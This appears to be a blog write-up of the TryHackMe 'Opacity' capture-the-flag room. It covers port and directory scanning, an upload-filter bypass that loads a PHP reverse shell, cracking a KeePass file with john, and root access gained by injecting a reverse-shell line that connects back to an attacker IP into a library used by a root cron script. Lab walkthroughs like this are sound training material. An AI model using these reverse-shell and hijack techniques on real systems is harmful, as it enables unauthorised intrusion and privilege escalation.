Try Hack Me WriteUp : Opacity

Hervé Costil
5 min readApr 8, 2023

--

Opacity is an easy “Catch the flag” challenge on TryHackMe. It can be accessed from here : https://tryhackme.com/room/opacity

It is a Linux box.

Exploration

As usual, I start with exploration. I added box’s IP in /etc/hosts with box.thm alias.

NMAP

└─$ rustscan -a box.thm --ulimit 5000

.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
...
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
139/tcp open netbios-ssn syn-ack
445/tcp open microsoft-ds syn-ack
...

└─$ sudo nmap -sV -sC -sS -nP -p22,80,139,445 --script vuln box.thm -oN nmapResults.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 13:48 EDT
Nmap scan report for box.thm (10.10.99.193)
Host is up (0.023s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb-vuln-ms10-054: false
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.45 seconds

Manual web exploration

The main page is a login page. There is no robots.txt or sitemap.xml page.

GoBuster

└─$ gobuster dir -u box.thm -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e -r --random-agent -o goBusterMediumResult

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://box.thm
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8) Gecko/20051130 Firefox/1.5
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2023/04/08 13:48:44 Starting gobuster in directory enumeration mode
===============================================================
http://box.thm/cloud (Status: 200) [Size: 639]
http://box.thm/server-status (Status: 403) [Size: 272]
Progress: 220546 / 220561 (99.99%)
===============================================================
2023/04/08 13:57:51 Finished
===============================================================

The /cloud page allow us to download an image file.

Exploitation : get a shell

We can only download an image shell but we can bypass this limitation by adding a #.png at the end of a genuine reverse shell on my attacker computer.

The php file is downloaded :

10.10.99.193 — — [08/Apr/2023 13:57:14] “GET /reverse_shell.php HTTP/1.1” 404 -

and the reverse shell is activated :

└─$ pwncat-cs -lp 8888
/opt/pwncat/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
'class': algorithms.Blowfish,
[14:00:57] Welcome to pwncat 🐈! __main__.py:164
[14:01:50] received connection from 10.10.99.193:46526 bind.py:84
[14:01:50] 0.0.0.0:8888: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
[14:01:51] 10.10.99.193:46526: registered new host w/ db manager.py:957
(local) pwncat$
(remote) www-data@opacity:/$ whoami
www-data
(remote) www-data@opacity:/$

Horizontal privileges escalation from www-data to sysadmin

In /opt directory, I find a KeePass file, which I download on my attacker’s computer.

(remote) www-data@opacity:/t$  find / -user sysadmin  2> /dev/null
/opt/dataset.kdbx
...
(remote) www-data@opacity:/opt$ cd /opt
(remote) www-data@opacity:/opt$
(local) pwncat$ download dataset.kdbx
dataset.kdbx ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 1.6/1.6 KB • ? • 0:00:00
[14:04:31] downloaded 1.57KiB in 0.25 seconds

I then use John to get the password of this file.

┌──(vagrant㉿kali)-[~/ctf/Opacity]
└─$ keepass2john dataset.kdbx > hash.txt

┌──(vagrant㉿kali)-[~/ctf/Opacity]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 100000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
7.......3 (dataset)
1g 0:00:00:21 DONE (2023-04-08 14:11) 0.04686g/s 40.86p/s 40.86c/s 40.86C/s chichi..walter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Then I’ve got sysadmin password : C………………..0.

Now I can log as sysadmin and get the flag.

└─$ pwncat-cs sysadmin@box.thm
/opt/pwncat/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
'class': algorithms.Blowfish,
[17:19:08] Welcome to pwncat 🐈! __main__.py:164
Password: **********************
[17:19:33] box.thm:22: registered new host w/ db manager.py:957
(local) pwncat$
(remote) sysadmin@opacity:/home/sysadmin$ whoami
sysadmin
(remote) sysadmin@opacity:/home/sysadmin$ ls
local.txt scripts

Vertical escalation : from sysadmin to root

In the scripts directory, there is a file script.php.

<?php

//Backup of scripts sysadmin folder
require_once('lib/backup.inc.php');
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');
echo 'Successful', PHP_EOL;

//Files scheduled removal
$dir = "/var/www/html/cloud/images";
if(file_exists($dir)){
$di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
$ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);
foreach ( $ri as $file ) {
$file->isDir() ? rmdir($file) : unlink($file);
}
}
?>

This file is not writable. Neither is the scripts directory. It calls a library backup.inc.php in ~sysadmin/scrips/lib. This file is note readable. But lib directory is writable. So I can replace backup.inc.php by another file.

First, I copy this file to home directory and edit it.

(remote) sysadmin@opacity:/home/sysadmin$ cp ./scripts/lib/backup.inc.php .
(remote) sysadmin@opacity:/home/sysadmin$ vi backup.inc.php

Then I add a reverse shell at the beginning of the file.

Original I have :

<?php

ini_set('max_execution_time', 600);
ini_set('memory_limit', '1024M');


function zipData($source, $destination) {
if (extension_loaded('zip')) {
if (file_exists($source)) {

Then I changed it to :

<?php

$sock=fsockopen("<Attacker IP>",8888);
exec("/bin/bash <&3 >&3 2>&3");

ini_set('max_execution_time', 600);
ini_set('memory_limit', '1024M');

I open a listener on attacker's computer :

└─$ pwncat-cs -lp 8888
/opt/pwncat/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
'class': algorithms.Blowfish,
[17:33:27] Welcome to pwncat 🐈! __main__.py:164
bound to 0.0.0.0:8888

Then I delete original file and replace it with my forged one.

(remote) sysadmin@opacity:/home/sysadmin$ chmod u+w ./scripts/lib/
(remote) sysadmin@opacity:/home/sysadmin$ rm ./scripts/lib/backup.inc.php
rm: remove write-protected regular file './scripts/lib/backup.inc.php'? y
(remote) sysadmin@opacity:/home/sysadmin$ cp backup.inc.php ./scripts/lib/

And one minute later I have a shell as root and a flag.

[17:36:02] received connection from 10.10.110.79:37178                                              bind.py:84
[17:36:03] 0.0.0.0:8888: normalizing shell path manager.py:957
10.10.110.79:37178: registered new host w/ db manager.py:957
(local) pwncat$
(remote) root@opacity:/root# whoami
root
(remote) root@opacity:/root# ls
proof.txt snap
(remote) root@opacity:/root#

--

--